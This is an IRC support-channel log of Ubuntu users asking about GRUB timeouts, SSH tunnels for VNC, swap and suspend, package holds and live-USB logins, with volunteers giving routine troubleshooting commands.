| bekks | SJr: Maybe it gets replaced. | 17:33 |
| SJr | buying a new drive is cheap and I should get my data off as soon as possible. I don't have a place for it now. | 17:33 |
| faugusztin | DrFaustus: lsof | grep /var/lib/apt/lists/lock | 17:33 |
| DrFaustus | ok,t, i'm running ubuntu 13.04 amd64 on a pentium 4 machine,what do u think about that? | 17:34 |
| Marlenee | nydel : yeah i need to know what is that product i get it on freehosting sites | 17:34 |
| KI7MT | TomyLobo, Aptitude: sudo aptitude hold package_name .. dpkg echo "package hold" | sudo dpkg --set-selections | 17:34 |
| bekks | DrFaustus: Its getting cold outside nowadays - you already have your heating ;) | 17:34 |
| nydel | Marlenee: wait is that a desktop window manager? or a website? | 17:35 |
| DrFaustus | <bekks>, but hyperthreading is enabeled | 17:35 |
| bekks | DrFaustus: Ah, heating step 2. | 17:36 |
| DrFaustus | actually a can c 2 cpu's runnung in sys.monitor | 17:36 |
| bekks | DrFaustus: I know what HT is - but it doesnt chaneg the fact that a P4 is a pretty old computer. | 17:37 |
| DrFaustus | <bekks>,it's not heating at all | 17:37 |
| KI7MT | TomyLobo, also in Snypatic Package Manger, select package and: Lock Version works too .. just found that one. | 17:37 |
| Marlenee | nydel : see PM | 17:37 |
| Marlenee | !panal | 17:38 |
| KI7MT | Lock-em' all I say, when in doubt, lock-em down :-) | 17:38 |
| DrFaustus | <bekks>,do u mean that hyper-threading is useless? | 17:38 |
| nydel | Marlenee: very intrusive little homepage they have hehe -- what do you mean you get it on freehosting sites, is it a control panel you use via a web browser? | 17:39 |
| Marlenee | nydel : yes | 17:39 |
| KI7MT | DrFaustus, depends on the application, if it is parallel enabled or not. If not, then only one core used anyway. | 17:40 |
| === quikee_ is now known as quikee | ||
| bekks | DrFaustus: No, but it is old, slow, and consumes a lot of power. | 17:40 |
| zanberdo | I have a need to install Ubuntu 10.04 LTS, however now that it's outside of support the original repos are no longer valid. I need to know how I can point to oldreleases.ubuntu.com during install | 17:40 |
| alexa | guys, I'd like to create some drag and drop script. It's about replacing some characters. I will use "replace", it comes installed with mysql. But I'm having the problem with drag and drop. What should my script look like? | 17:40 |
| Marlenee | that site is for free they give you panel like in the pic | 17:40 |
| nydel | Marlenee: can't you just log in & access it, see what it's called that way? | 17:40 |
| alexa | replace "čćđšž" "ccdsz"-- "$1" | 17:40 |
| alexa | this "$1" should be the dropped text file | 17:40 |
| alexa | but it won't work | 17:40 |
| nydel | it looks like some sort of wysiwyg app | 17:40 |
| alexa | any hint? | 17:41 |
| Marlenee | nydel : i am in my account now and search for any info about it and i dont found anything | 17:41 |
| KI7MT | $1 is whatever follows ccdz ... for example ./configure --testing .. $1 would = -"-testing" | 17:42 |
| nydel | Marlenee: is the name in the url perhaps? | 17:42 |
| nydel | Marlenee: it could be original software belonging to that company | 17:42 |
| SJr | faugusztin, any recommendation on a replacement hard disk? | 17:42 |
| Marlenee | nydel : no | 17:42 |
| Marlenee | any free panel that allow me to uplaod and downlaod and edit any files via web browser | 17:43 |
| Marlenee | not webmin or zpanal | 17:43 |
| alexa | KI7MT, you mean, I should get rid of " " | 17:43 |
| SJr | I'm looking at either a 3TB Green or a 4 TB red. | 17:43 |
| DrFaustus | how can i use your <tab> key for autocompletion of nicknames in IRC? | 17:44 |
| DrFaustus | how can i use <tab> key for autocompletion of nicknames in IRC? | 17:44 |
| alexa | DrFaustus, what irc client are you usin'? | 17:44 |
| KI7MT | alexa that's example, ccdsz --example would mean: xxdsz example with $1 = example without " .. " | 17:45 |
| Pici | DrFaustus: start typing the nick and then press tab. | 17:45 |
| DrFaustus | Xchat | 17:45 |
| bekks | DrFaustus: Type "bek" and press tab. | 17:45 |
| alexa | KI7MT, I don't get it. | 17:45 |
| faugusztin | SJr: depends on your needs, i personally use WD drives only, but green die a lot, i have reds for about a year now, they are running fine so far, but who knows what will happen later | 17:46 |
| KI7MT | alexa, so if ccdsz wants a file or path or option, $1 will be the first optoin after ccdsz invocation | 17:46 |
| alexa | ccdsz are the characters that should replace the original | 17:47 |
| KI7MT | ccdsz --path=/home/alexa ... so $1 = /home/alexa | 17:47 |
| === sam113101 is now known as sam113101_afk | ||
| alexa | ok | 17:48 |
| KI7MT | so $1 is just whatever follows the ccdsz invocation | 17:48 |
| === sam113101_afk is now known as sam113101 | ||
| DrFaustus | what irc client is mostly used in ubuntu? | 17:49 |
| hid | DrFaustus: xchat or pidgin | 17:49 |
| KI7MT | xchat, gnome-chat, irssi as many flavors as there are *Nix distro's | 17:50 |
| DrFaustus | so u think i'd better install ubuntu i386 edition? | 17:51 |
| === speed is now known as Guest78433 | ||
| bekks | DrFaustus: No. You have 64bit processor, so use the 64bit edition. And that still doesnt change ... <I just told you ;) > | 17:53 |
| DrFaustus | <bekks> ,i don't think i get u right,will u just explain it more? | 17:54 |
| bekks | DrFaustus: You have a pretty old computer, consuming very much power, being not that fast. | 17:55 |
| KI7MT | So mu Q6600 HT is nto good | 17:56 |
| DrFaustus | so,how can i fix this situation,<bekks> ? | 17:56 |
| bekks | DrFaustus: By getting a more recent computer, basically. | 17:57 |
| bekks | KI7MT: The Q6600 is about 6 years old. | 17:57 |
| KI7MT | 64bit on a machine with =-< 4GB of RAM is a waste anyway. | 17:57 |
| bekks | KI7MT: Which is not true at all. | 17:57 |
| soen | Hey, first time using ubuntu, how do I run stuff from here? | 17:57 |
| soen | https://launchpad.net/ubuntu/+source/bcmwl/6.20.155.1+bdcom-0ubuntu6 | 17:57 |
| KI7MT | I know, it's 6yrs I have about 10 of them, and a QX9770 and a X68., they all work and work well. | 17:58 |
| hdon | soen, run stuff? | 17:58 |
| DrFaustus | now u made yourself clear,excuse my ignorance,bekks | 17:58 |
| soen | uhh, I need to get that driver installed and I'm not sure how | 17:58 |
| bekks | KI7MT: No one said they dont do their job anymore. | 17:58 |
| funky1 | can someone help me with nfs and subdirectories in export that don't show up? | 17:59 |
| funky1 | http://pastebin.com/fNJfh4Tq | 17:59 |
| KI7MT | bekks, I suppose in a literal sense, if you need 64bit for some specific reaon that is in accurate, but for generaql computing 64bit is a wate of space., | 17:59 |
| hdon | soen, oh, you need help building and installing a kernel module | 17:59 |
| bekks | KI7MT: Which is not true at all, again. | 17:59 |
| soen | hdon: yes, I guess you can phrase it that way. | 17:59 |
| hdon | soen, you may want to check out the command "m-a" | 17:59 |
| hdon | soen, it's an ncurses program | 18:00 |
| KI7MT | Ok what is true then, that this argument is open ended and is not really helping anyone? | 18:00 |
| hdon | although i suppose it also has command-line interface | 18:00 |
| soen | hmm give me a sec | 18:00 |
| KI7MT | or that all my old hardware is better off in the scrap heap? | 18:00 |
| KI7MT | or that I should run out an buy an i7 to run 64bit SW | 18:01 |
| bekks | KI7MT: Sounds like you're looking for an unfriendly discussion. I am stopping that from my side now. EOD. | 18:01 |
| k-joseph | hi guys, that was really good, am so grate full to all of you beloved that are patiently guiding us, thanks so much genii, faugusztin plus all of your guys that have guided me, may God bless you all, it is me that was before appearing as Guest70717 and as etc, i have resolved the issue and am now back in my enviroonment, the issue was with the wrong path value i had in /etc/environment which i resolved, and also the new path value i had added in /etc/profile | 18:01 |
| k-joseph | .d/java_variables.sh that was really a good and remarkable experience :) | 18:01 |
| Soen | installed m-a just now | 18:01 |
| mrrcp | bekks: what version of ubuntu are you operating | 18:01 |
| AcidRain2012 | do you write to a remote file the same way you do a localfile? | 18:02 |
| bekks | mrrcp: Depends on the specific box. 11.04 (still), 12.04, 13.04, 13.10 | 18:02 |
| KI7MT | No, not at all, just trying to understand what was true and not true, but ok EOD | 18:02 |
| hdon | AcidRain2012, a "remote file" could be many things. what do you mean? | 18:02 |
| Soen | hplc, does that help me with anything | 18:02 |
| hdon | Soen, assuming you mean me... yes that will install m-a / module-assistant | 18:02 |
| AcidRain2012 | well. a public remote file that doesnt have ftp access | 18:03 |
| AcidRain2012 | its only public by apache | 18:03 |
| hdon | Soen, you may want to google for a tutorial on module-assistant, maybe there is even one specifically with your hardware in mind | 18:03 |
| === sie is now known as Guest47850 | ||
| hdon | Soen, what is the hardware you're trying to use? | 18:03 |
| mrrcp | could i update my system to 13.10? from 12.04? | 18:03 |
| mrrcp | or should i do a fresh install | 18:03 |
| hdon | AcidRain2012, you should ask in #apache i think | 18:03 |
| AcidRain2012 | cool thx | 18:03 |
| Soen | oh hdon, sorry, switched computers. I'm trying to get updates in order to use my wifi | 18:03 |
| hdon | mrrcp, i've heard people have no problems doing the update, however you do need free space on your root filesystem to make the transition | 18:04 |
| bekks | mrrcp: Yeah, update to 12.10, to 13.04 to 13.10 - and 13.10 is supported in #ubuntu+1 only, yet. | 18:04 |
| Soen | hdon, from the website I linked earlier | 18:04 |
| hdon | Soen, yes, do you know what kind of wifi device you have? the chipset is the critical information as many different looking and differently named products have the same chipsets in them which actually talk to the computer and do most of the work | 18:04 |
| Soen | hdon, yes the link I posted was the exact thing I needed, I just don't know what to do with it or what terminal commands to run | 18:05 |
| Marlenee | i finally get all info about the file manger panel - http://imagebin.org/271291 | 18:05 |

| hdon | Soen, i'm sure that website makes a lot of sense to a person familiar with the hardware it is relevant to, but i don't, i just want to make sure you are investigating the correct driver for your hardware :) | 18:05 |
| dobry-den | Is there a general reason one would use aptitude instead of just apt-get? i'm trying to figure out why Linode's Bash StackScript installs aptitude in the first place: https://www.linode.com/stackscripts/view/?StackScriptID=1 | 18:05 |
| mrrcp | whats new with 13.10 | 18:05 |
| hdon | dobry-den, i've heard that aptitude is more aggressive and intelligent with regards to dependency resolutions but i am skeptical and never bothered to investigate | 18:06 |
| bekks | mrrcp: After its release, you can read the changelog at http://www.ubuntu.com/getubuntu/releasenotes | 18:06 |
| mrrcp | any big improvements? | 18:07 |
| mrrcp | that you have seen | 18:07 |

| Dirkos | I keep getting a 403 forbidden when i wanna access my recent created apache docroot | 18:08 |
| Dirkos | what should i do? | 18:08 |
| hdon | mrrcp, i would bet if you use unity you'll want to update. otherwise, 12.04 is an LTS release so it's should be fine to stick with that until a new LTS comes out | 18:08 |
| bazhang | #httpd Dirkos | 18:08 |
| DJones | mrrcp: Probably best asked in #ubuntu+1 which is the support channel for development versions, the people there are most likely to have been using it and can give you a better idea | 18:09 |
| Dirkos | bazhang: apache2? | 18:09 |

| faugusztin | Dirkos: ask at the correct channel, but a quick suggestion - check if the directory where your web root is allowed via <Directory> directive | 18:14 |
| vlitomsk | I don't know, why there is 'No such file or directory', because /var/run/dbus/system_bus_socket is present | 18:15 |

| silvio- | do init.d scripts all work with the service command? if i create a script would it work service myscript start ? | 18:33 |
| KI7MT | silvio-, you need to add it to rc.d : sudo update-rc.d <script-name> defaults | 18:35 |
| KI7MT | Them, yes it will run and boot on the defaults set and you can control with either init.d/<script-name> or upstart with service <script-name> start,stop,restart, etc etc | 18:36 |

| fully_human | bekks, Okay, thanks. | 19:03 |
| Pici | Strit: It could be something they did on purpose to correct a regression or there was a failure in their build process. I can only make guesses as to what happened. | 19:04 |
| lmat | seems like 1.6 is a long way back from 1.7. is 1.7 new ? | 19:04 |
| Strit | Pici, yeah. Maybe because 1.7.1 actually wasn't a stable release | 19:04 |

| zykotick9 | forgotmynick: seems to me, you are creating your own problems... | 19:33 |
| Joe_Schmo2840 | It seems as tho no matter what session i use I get an error that it could not locate the session or it just gives me a background and no toolbars | 19:33 |
| OerHeks | forgotmynick, so you wonder why processes get slow without swap and stressing the OS ? | 19:33 |
| ikonia | zykotick9: I'm totally missing the point too - fill up ram = bad performance | 19:33 |
| Steen | I have my pc with dualboot. And after startup.. I get this screen for a few seconds where i can choose what OS i want. This screen is only visible for a few seconds. If i miss it, it starts up with an OS I might not want that day. Question: How can I disable the timer or edit this setup in any way? | 19:34 |
| Joe_Schmo2840 | steen what bootloader? | 19:34 |
| nacitar | I'm not running ubuntu, but I'm interested in what the lowest versions of certain packages were ever offered for a particular version of ubuntu (for example, the lowest firefox available in apt)... what's a good way to find out? | 19:34 |
| forgotmynick | OerHeks why would it lock at 70% and not 80% or 90%? | 19:34 |
| wilee-nilee | Steen, If it is grub you can set the timeout in /etc/default/grub | 19:35 |
| Steen | probably grub.. the one that came with the latest Ubuntu version. (i'm a ubuntu starter) | 19:36 |
| wilee-nilee | run a update grub after adjusting | 19:36 |
| dhyana | anyone from India? | 19:36 |
| ikonia | dhyana: why ? | 19:36 |
| MonkeyDust | !in | 19:36 |
| ubottu | #ubuntu-in is the channel for Ubuntu in India | 19:36 |
| dhyana | ok | 19:37 |
| Joe_Schmo2840 | so can anyone give me some guidance with an xstartup vnc cionfig? | 19:37 |
| wilee-nilee | Steen, run gksudo gedit /etc/default/grub change this GRUB_TIMEOUT=5 save and run sudo update-grub | 19:37 |
| zykotick9 | Steen: what you are looking for is in /etc/default/grub (fyi, you need to run "sudo update-grub" after making any changes to that file. be sure to read about grub2 setting before hand. best of luck. | 19:37 |
| wilee-nilee | put a nuber you want it is seconds steen | 19:38 |

| quantumpants_ | hi all | 19:39 |
| wilee-nilee | Steen, Stock would be 10, what does it say? | 19:39 |
| Steen | it says 10 indeed | 19:41 |
| wilee-nilee | Steen, Cool set it as you need it, when you adjust this file you always run sudo update-grub to have it work. | 19:41 |

| GarrettKajmowicz | Is there a good channel to discuss boot script errors and diagnostics? | 19:47 |
| Steen | wilee-nilee, Thanks.. it all worked so far.. I noticed "GRUB_DEFAULT=0".. if i change this in say 5.. will grub start with the fifth option? | 19:47 |
| zykotick9 | Steen: yes, but the counting can sometimes be "odd" ;) | 19:48 |
| Steen | zykotick9, ..is there a list where i can see what number is what option? Or do i have to restart to find out? | 19:49 |
| zykotick9 | Steen: restarting is probably easiest... but i think /boot/grub.cfg "might" also have it? | 19:50 |
| Steen | zykotick9, ..thanks.. let me found out.. | 19:50 |
| silvio- | are there any online tools for testing the format of an init.d script? | 19:51 |
| pgilbert | any good remote access tool for xubuntu | 19:52 |

| pgilbert | thanks\ | 19:55 |
| wilee-nilee | Steen, That is for defaulting the line read 0 is the first line, so if you wanted to have it boot the other OS you would count the lines starting at 0. | 19:55 |
| Steen | wilee-nilee, Thanks.. I checked grub.cfg to check what number is what option.. but it's a bit to jibberish to decifer. But i've changed the boottime so im totally happy now.. | 19:57 |
| wilee-nilee | Steen, Hehe, no problem some want say grub to default to windows instead, that is where you would do it. | 19:58 |
| Steen | wilee-nilee, zykotick9, ubottu, thanks for your help.. | 19:58 |
| zykotick9 | !nx | this was the vnc alternative i was thinking of... but i guess pgilbert left, but incase anyone else wanted to know... | 19:59 |

| wolfy1339 | anyone know how i can install ubuntu on an external hdd? btw i have one usb, and no cd/dvd | 20:09 |
| new2ubuntu | hey how is everone.. | 20:10 |
| new2ubuntu | i have a quick question - and for some reason cant post it in forums | 20:10 |
| wilee-nilee | wolfy1339, Use a manual install, a external will run slow though. | 20:10 |
| zykotick9 | wolfy1339: you have i hd + one usbkey that you can use? | 20:10 |
| new2ubuntu | what is the login and password for ubuntu live usb? | 20:10 |
| new2ubuntu | this is a first time install/run so i haven't set anything! | 20:10 |
| ikonia | new2ubuntu: it shouldn't ask you for one | 20:10 |
| ikonia | new2ubuntu: should auto log you in to the desktop | 20:11 |

| shodan45 | anyone have a system 76 laptop? | 20:11 |
| ikonia | shodan45: why ? | 20:11 |
| BluesKaj | wolfy1339, recommend using a esata connection for your external if youwant to run an OS on it , usb as wilee-nilee says will be slow | 20:11 |
| wolfy1339 | zykotick9, yes i have usb key and 1 external hdd, i don't want to put it on my main hdd since i only have 128gb | 20:12 |
| shodan45 | ikonia: I want to know opinions on their keyboards | 20:12 |
| TheOvermind | Hey guys, im new to this chat tihng | 20:12 |
| wilee-nilee | shodan45, The is a system76 portion of the ubuntu forums, here state the issues. | 20:12 |
| ikonia | shodan45: try ##hardware | 20:12 |
| new2ubuntu_ | i know it shouldn't ask for one but it did | 20:13 |
| ikonia | new2ubuntu: ok, that suggests something is wrong with your media | 20:13 |
| zykotick9 | wolfy1339: then it should be straight forward. put the usb onto the usb key and install, just select your external hd to install onto. and i certainly agree with everyone else, OS on USB is slow, if you have estat - USE THAT. | 20:13 |
| wilee-nilee | TheOvermind, This is ubuntu support welcome, if you have issues tell them to the channel. | 20:13 |
| wolfy1339 | i have a win 8 pro tablet and don't have any ports except for usb and microsdxc | 20:13 |
| TheOvermind | Oh, alright then. | 20:13 |
| wilee-nilee | wolfy1339, You would have a faster install on a flash usb, still slower than a internal however. | 20:14 |
| new2ubuntu_ | i tried older versions of the iso also, and different USB sticks and it still asks for it | 20:14 |
| wilee-nilee | !md5sum | new2 | 20:15 |
| ubottu | new2: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows | 20:15 |
| new2ubuntu_ | well i will eventually intall onto the hard drive..but it wouldn't let me select that without a login password either | 20:15 |
| ikonia | new2ubuntu: the password should be ubuntu - but again, if it's asking for it, you have a problem with your media | 20:15 |
| TheOvermind | A question: Is this Xchat safe from being tapped into by thired partes? | 20:15 |
| ikonia | TheOvermind: what are you talking about ? | 20:15 |
| wilee-nilee | new2ubuntu_, see the bots info on md5sum | 20:15 |
| Strit | new2ubuntu: if it asks you for a password, then you are not logging in to a live session. You sure it's booted from the USB? | 20:15 |
| new2ubuntu_ | icool thanks | 20:15 |
| TheOvermind | ikonia what i am talking about is secure chatrooms | 20:16 |
| zykotick9 | TheOvermind: LOL, ahhh this channel is logged - everyone has a copy | 20:16 |
| new2ubuntu_ | yea - its definitely not on the hard drive - i had to write the mbr.bin to get it to recognize the iso and used unetbootin to make the usb | 20:16 |
| ikonia | TheOvermind: it's a client - it has nothing to do with the channel/services you connect to | 20:16 |
| TheOvermind | :L im sorry, i just had to ask. i just opened this thing today | 20:16 |
| TheOvermind | so you mean that it is safe i guess? | 20:17 |
| ikonia | TheOvermind: no - read what I said | 20:17 |
| TheOvermind | ...K i feel stupid now DX | 20:17 |
| zykotick9 | TheOvermind: but there is something you can do. get a freenode cloak, see the details in the PM from ubottu when you run "/msg ubottu cloak" | 20:17 |

| boneslash | I am thinking about Ubuntu 13.10 but I see there is no support for it on this channel, do you know when will be added support for Ubuntu 13.10 out there?? :) | 20:22 |
| bazhang | #ubuntu+1 boneslash | 20:22 |
| Pici | boneslash: when it relases... in October. | 20:23 |
| boneslash | I think It is already released am I right, btw thanks for the help | 20:23 |
| zykotick9 | Andrew32: just adding 1 package is usually impossible. you need all the dependencies as well... mixing binary packages across releases like that is a bad idea... it will lead to tears 9 times out of 10 ;) i'd think you'd need an entire new php for this, and that might break everything else... good luck. | 20:23 |

| TheOvermind | alright, thank you guys | 20:35 |
| wilee-nilee | valeness, Are you reading the write info? disc's mean HD right? | 20:36 |
| BluesKaj | valeness, maybe it's 5G used out of the 80G available | 20:36 |
| alpha_ | once I logged in to ubuntu 12.04 as unity 2D ... but i have a problem with unity ... its size was larger and I can't change it | 20:36 |

| wilee-nilee | alpha_, what you describe does not make sense seeing unity from the shell for one, you also are not answering question, and ones you are a one word answer, we are not farthet along that when we started. | 20:41 |

| Timvde | faugusztin: Whether or not it is a hardware issue, do you have any idea what logfile might help? I looked in dmesg and /var/log/syslog, without any result. | 20:54 |
| wilee-nilee | alpha_, I would install what is suggested, is ythere more than one choice, additionally graphic drivers are not my forte is all. | 20:54 |
| wilee-nilee | there* | 20:54 |
| barus | 'oo' | 20:55 |
| alpha_ | wilee-nilee : there is just one choice to install | 20:55 |
| faugusztin | Timvde: i would say dmesg command and Xorg.0.log could log something about that, if it was a result of software. If it is your backlight dying, then there is nothing to be reported, because backlight is just that, a backlight :) | 20:55 |
| wilee-nilee | alpha_, You can find the graphic info by running lspci in the terminal include that here when asking for help if you do not get this fixed. | 20:55 |
| wilee-nilee | alpha_, You could try it, I'm just not the one that can definitively help you in this area is all | 20:56 |
| faugusztin | Timvde: it could be a cable being cut, or simple tear & wear of the backlight | 20:56 |

| RageYL | hi =) | 20:59 |
| Timvde | faugusztin: Hmm. Thanks anyway, I'm off now. I'll try the BIOS thing later :) | 20:59 |
| RageYL | sorry to annoy you but in 1 year it's the 5 times i try to set up a vpn in an ubuntu lts, but it always fail... | 21:00 |
| DrFaustus | <wilee-nilee>,it's not about ssd's | 21:00 |
| k1l | !details | RageYL | 21:00 |
| ubottu | RageYL: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..." | 21:00 |
| faugusztin | DrFaustus: then you mean S1 or S3 sleep mode, not SS1 and SS3... well, not sure about the answer, i never required sleep mode on a ubuntu system | 21:03 |
| RageYL | i have followed the tutorial of ubuntu | 21:03 |
| RageYL | my server side seems to start normaly | 21:03 |
| k1l | RageYL: what ubuntu, what tutorial, what errormessages? etc etc etc | 21:03 |
| RageYL | but my client stop on "link remote" line | 21:03 |
| wilee-nilee | alpha_, If it were me I would run the lspci and identify the graphic info, than check the web and or the channel with the driver suggested, since it is listed as a beta, It may be fine and your home free, I just use a method in general that is opposite of my nick. | 21:03 |
| RageYL | for the tutorial: http://doc.ubuntu-fr.org/openvpn | 21:03 |
| DrFaustus | <faugusztin>, that's right , sorry it's my fault | 21:03 |
| alpha_ | wilee-nilee : thanks. | 21:03 |
| wilee-nilee | DrFaustus, Not sure on the answer, I would want full cpu when needed is all, you can use tab to complete nicks here. | 21:03 |

| wilee-nilee | DrFaustus, you on a phone, all you do is type some of the nick and hit tab. | 21:06 |
| wilee-nilee | no biggie just makes it easier at times is all | 21:07 |
| jhutchins | I like the clients that will repeat the last nic if you tab on a blank line, but they don't all do that (irssi doesn't). | 21:08 |

| k1l | RageYL: are you sure its the ubuntu servers fault and not your clients fault? | 21:09 |
| RageYL | k1l: i am comming here because i am totaly lost | 21:09 |
| RageYL | so i don't know | 21:09 |
| RageYL | but as my server is starting without error you must be right | 21:10 |

| Daghdha | Hi, some voice is reading out all text on my screen, how can i stop that? | 21:10 |
| RageYL | someone host me with the same stuff and everything he gave me work pretty well | 21:11 |
| wilee-nilee | Daghdha, turn off Orca | 21:15 |
| barus | iptraf | 21:15 |
| Daghdha | sudo apt-get remove gnome-orca | 21:16 |
| Daghdha | killall orca | 21:16 |
| Daghdha | will that be ok? | 21:16 |
| Strit | killall orca should do it | 21:16 |
| k1l | Daghdha: just turn it off in the first place | 21:16 |
| Strit | remove it only if you want to get rid of it entirely | 21:16 |
| k1l | it should be in the system settings | 21:16 |
| Daghdha | i want it removed | 21:17 |
| Strit | then kill it and remove it. | 21:17 |
| Daghdha | i don't know why it started talking in the first place, it is gone now | 21:17 |
| Strit | shouldn't harm the rest of the system. | 21:17 |
| wilee-nilee | Daghdha, NOt sure if orca is part of a meta set, if off you should not have a problem if that is what it is. | 21:18 |
| wilee-nilee | Daghdha, You turned it on it has a button in the top panel I believe. | 21:18 |
| SubCool | could someone explain a lil the VNC over SSH? im folloowing the guide- but im not sure if its actually working | 21:18 |
| ikonia | SubCool: test it... | 21:19 |
| Daghdha | I think i installed 12.04 can installing updates from the update manager increase this number? | 21:21 |
| SubCool | ikonia, i get that.. but.. im saying.. i use this command. | 21:21 |
| SubCool | ssh -L 5901:localhost:5901 -N -f -l rocky sshserver.mydomain.com - but nothing happens.. the prompt goes back to user | 21:21 |
| RageYL | k1l: do you know a means to diagnostic what is the problem ? | 21:24 |
| RageYL | because all my iptables are in "accept" mode | 21:24 |
| mistaknly | I have a performance question.. | 21:25 |
| SubCool | So this is what i have working.. i have SSH'ed into the machine, and rand X11vnc - and now i am connected. But- i would like to make the vnc connect encrypted.. i thought using that one command.. would work. .but- im not sure if it is.. how do i test it | 21:25 |
| === AndresSM_away is now known as AndresSM | ||
| jhutchins | SubCool: You're probably going to have to resort to reading the docs and finding out whether your copy of X11vnc uses encryption. Some vnc servers do, some don't. | 21:27 |
| SubCool | .... i dont think im explainging myself thoroughly enough. | 21:27 |
| ikonia | SubCool: the encyption is the ssh layer | 21:28 |
| SubCool | http://www.cyberciti.biz/tips/tunneling-vnc-connections-over-ssh-howto.html | 21:28 |
| SubCool | when i use this command: ssh -L 5901:localhost:5901 -N -f -l rocky sshserver.mydomain.com | 21:28 |
| SubCool | this is what my output displays | 21:28 |
| ikonia | SubCool: ssh is the thing doing the encuption | 21:28 |

| SubCool | i understand .. | 21:30 |
| SubCool | but using that comand has no output | 21:30 |
| SubCool | i cant display what its been doing- but it would ask for a password, and then just move back to the prompt | 21:30 |
| SubCool | no ssh, no vnc windows.. nothing | 21:31 |
| Guest72430 | Question what -t stand for or do in this command sudo mkfs -t ext5 /dev/sdb1 ??? | 21:31 |
| ikonia | SubCool: what are you talking about it displays no output - it shouldn't it's creating a tunnel | 21:31 |
| ggherdov | hello. How do I upgrade from 11.04 to 12.04 via the command line ? (it's an ubuntu server, no X) | 21:31 |

| ikonia | Guest72430: ext5 does not exist | 21:32 |
| === savan__ is now known as XLV | ||
| SubCool | so- after i run that command.. any vnc connection is run in ssh? | 21:32 |
| ikonia | SubCool: that is the encypted tunnel your vnc connection is running over | 21:33 |
| jhutchins | SubCool: Only the connection to localhost:5901. | 21:34 |
| SubCool | subcool@subcoolT60:/home$ ssh -L 5901:localhost:5901 -N -f -l subcool IP subcool@IP's password: | 21:35 |
| SubCool | subcool@subcoolT60:/home$ | 21:35 |
| SubCool | jhutchins, you said local host, now what if im trying to do this over the internet | 21:35 |
| SubCool | best way i can figure to test it is sniff the data | 21:36 |
| StarFlower | ggherdov, you should be able to download 12.04 and verify the checksum then mount it to /media/cdrom or wherever you want to mount. then run 'sudo sh /media/cdrom/cdromupgrade | 21:36 |
| ggherdov | StarFlower: ok. I was hoping in something driven by apt, even if it involved several intermediate updates. But yeah, why not the cdrom. | 21:37 |
| joelteon | is it possible to install packages built for newer ubuntus on an older one? | 21:38 |
| day | is there a specific channel for tablets/ubuntu? | 21:38 |
| StarFlower | I think apt might want to upgrade you to 13.04 or 13.10 | 21:38 |
| joelteon | specifically, haskell-yesod is 1.2.1 on saucy salamander, but my travis build box is using precise pangolin, which has yesod 0.10.1, which is WAY too old | 21:39 |
| joelteon | I don't have control over what OS the build box uses | 21:39 |
| ggherdov | StarFlower: ah. no, it's my server (even if for hobby project), would like to keep it to a LTS | 21:39 |
| ggherdov | thanks | 21:39 |
| StarFlower | ggherdov: your welcome | 21:40 |

| SubCool | channel_setup_fwd_listener: cannot listen to port: 5901 | 21:40 |

| InevBetrayal | hi everyone! I managed to install ubuntu 12.04 on my 2009 unibody macbookpro. Gave it a 4GB swap (from a previous failed instalation) and a 12GB partition. I can boot to GRUB (to pick which OS to boot with) but when i pick Ubuntu, it won't boot, just display either a purple or dark screen. Any ideas? | 21:45 |
| OerHeks | InevBetrayal, did you check the mactel pages? i think you need to add nomodeset to your grub https://wiki.ubuntu.com/MactelSupportTeam/CommunityHelpPages | 21:47 |
| OerHeks | !nomodeset | 21:47 |
| ubottu | A common kernel (boot)parameter is nomodeset, which is needed for some graphic cards that otherwise boot into a black screen or show corrupted splash screen. See http://ubuntuforums.org/showthread.php?t=1613132 on how to use this parameter | 21:47 |
| jhutchins | SubCool: The idea here is that you create a "tunnel" with ssh that connects a port on your local machine with the remote machine. Connect to that port locally and it's as if you were connecting to the remote machine. The command to set up the port doesn't return anything - it djust does it, although I think you can add a -v -vv or -vvv option for increasing feedback. | 21:47 |
| day | k1l: ty | 21:49 |
| InevBetrayal | OerHeks, i was only able to start instalation after adding the nomodeset, ill try looking up how to add it to grub, thank you! | 21:49 |

| wessel | Is it possible to sleep ubuntu 13.4 without a swap partition? | 21:57 |
| wessel | My ubuntu can sleep, but it won't wake up properly | 21:57 |
| wessel | goes crazy slow | 21:57 |
| wessel | I heard that it can have something to do with graphics drivers | 21:58 |
| Ari-Yang | wessel, what card do you have? and what driver are you using, open source or proprietary? | 21:58 |
| wessel | GeForece 9800 GT | 21:59 |
| wessel | (proprietary, tested) | 21:59 |
| wessel | Binary Xorg driver | 21:59 |
| wilee-nilee | wessel, YOu should have a swap in general, it is for hibernation and swappiness, but sleep should happen without it. | 22:00 |
| wessel | Can I still get a swap? | 22:00 |
| wessel | I have unpartitioned space | 22:00 |
| wessel | I don't want to hibernate, I want to sleep, but okay | 22:01 |
| wessel | suspend it what 'sleep' is called | 22:01 |
| wilee-nilee | wessel, You just want to be aware of partition types and limitations on a standard primary and extended msdos partitioning setup. | 22:02 |
| wessel | I don't understand when to use primary or when to use logical partition | 22:03 |
| wilee-nilee | wessel, This is just swap stuff the sleep I'm not sure of the answer. | 22:03 |
| wessel | I have only a 250GB SSD, I think this partition is 80GB rest is free space | 22:03 |
| wilee-nilee | wessel, can you run sudo fdisk -l and pastebin the output. | 22:03 |

| arayaq | InevBetrayal: Can you paste you /etc/default/grub? | 22:06 |
| wilee-nilee | wessel, Cool you just have one primary, so you can add a swap, it should be just slightly larger than your ram amount. Here is a trim link as well since you have a SSD. https://sites.google.com/site/easylinuxtipsproject/ssd | 22:06 |
| wessel | I have 32GB | 22:06 |

| wilee-nilee | wessel, That link has some info on swappiness | 22:07 |
| wilee-nilee | wessel, Hmm, well since you have so much ram I would investigate what is really needed for your use, equal to ram is for hibernate or really high usage is all. | 22:07 |

| arayaq | InevBetrayal: In grub choose adavanced option (second entry most of the time) and then recovery mode. | 22:12 |
| arayaq | InevBetrayal: From there to a root shell, from there you can see the file (use nano) | 22:12 |
| arayaq | InevBetrayal: Like nano /etc/default/grub | 22:12 |
| InevBetrayal | arayaq, so boot in recovery mode and i should be able to nano into the file? | 22:13 |
| wessel | bekks, thanks I will set my swappiness to 10 or so, but my biggest problem is not wake up after sleep | 22:13 |
| bekks | wilee-nilee, wessel: And even more important: set vm.oom_kill_allocating_task=1 in /etc/sysctl.conf when setting swappiness near to 0. | 22:13 |
| genii | InevBetrayal: You may need to do: mount -a -o remount,rw first. | 22:13 |
